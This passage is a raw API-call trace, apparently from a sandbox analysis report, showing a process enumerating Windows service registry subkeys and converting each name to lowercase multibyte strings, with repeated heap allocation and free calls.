RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.241] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d60, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.241] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f16e8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.241] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.241] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0260.241] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.242] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.242] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.242] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0260.242] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.242] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.242] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.243] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f16e8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.243] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.243] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0260.243] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.243] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.244] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.244] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.244] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0260.245] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.245] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.245] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.246] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.246] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.246] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 